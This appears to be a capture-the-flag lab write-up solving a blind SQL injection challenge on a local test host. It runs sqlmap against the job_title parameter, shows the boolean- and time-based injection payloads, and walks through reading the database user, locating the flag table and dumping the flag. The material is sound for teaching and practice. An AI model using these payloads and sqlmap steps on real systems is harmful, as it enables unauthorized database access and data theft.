

Challenge 5

<http://192.168.2.11/sqli/sql5/>

[Level: Intermediate]

- Which parameter is vulnerable to SQL Injection?

job_title is vulnerable to blind SQL Injection

- What is the current username?

We will use sqlmap to exploit blind sql injection

```
root@kali:~# sqlmap --url http://192.168.2.11/sqli/sql5/search.php?job_title=SoftwareEngineer --sql-shell
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers as
liability and are not responsible for any misuse or damage caused by this program.

[*] starting at 14:00:29

[14:00:29] [INFO] resuming back-end DBMS 'mysql'
[14:00:29] [INFO] testing connection to the target url
[14:00:29] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 8 HTTP(s) requests:
--
Place: GET
Parameter: job_title
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: job_title=Database Administrator' AND 8452=8452 AND 'Uctb'='Uctb

  Type: AND/OR time-based blind
  Title: MySQL > 5.0.11 AND time-based blind
  Payload: job_title=Database Administrator' AND SLEEP(5) AND 'Tyhl'='Tyhl
--
[14:00:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0.11
[14:00:29] [INFO] sqlmap is using MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select user();
[14:00:30] [INFO] fetching SQL SELECT statement query output: 'select user()'
[14:00:30] [INFO] resumed: 5ive@localhost
select user();
[14:00:30] [INFO] resumed: 5ive@localhost
sql-shell>
```

- Which table contains column called Flag?

```
sql-shell> select table_name from information_schema.columns where column_name = 'flag';
[14:02:53] [INFO] fetching SQL SELECT statement query output: 'select table_name from information_schema.columns where column_name = 'flag''
[14:02:53] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:02:53] [INFO] retrieved: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
> a
[14:02:56] [INFO] retrieved: hidden
select table_name from information_schema.columns where column_name = 'flag'; [1]:
[*] hidden
sql-shell>
```

- Obtain the flag?

```
sql-shell> select flag from hidden;
[14:03:50] [INFO] fetching SQL SELECT statement query output: 'select flag from hidden'
[14:03:50] [INFO] resumed: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
> a
[14:03:53] [INFO] resumed: I like it... Flag is 289103
select flag from hidden; [1]:
[*] I like it... Flag is 289103
sql-shell>
```

Further reading:

<http://blog.techdynamics.org/2010/08/blind-sql-injection-tutorial.html>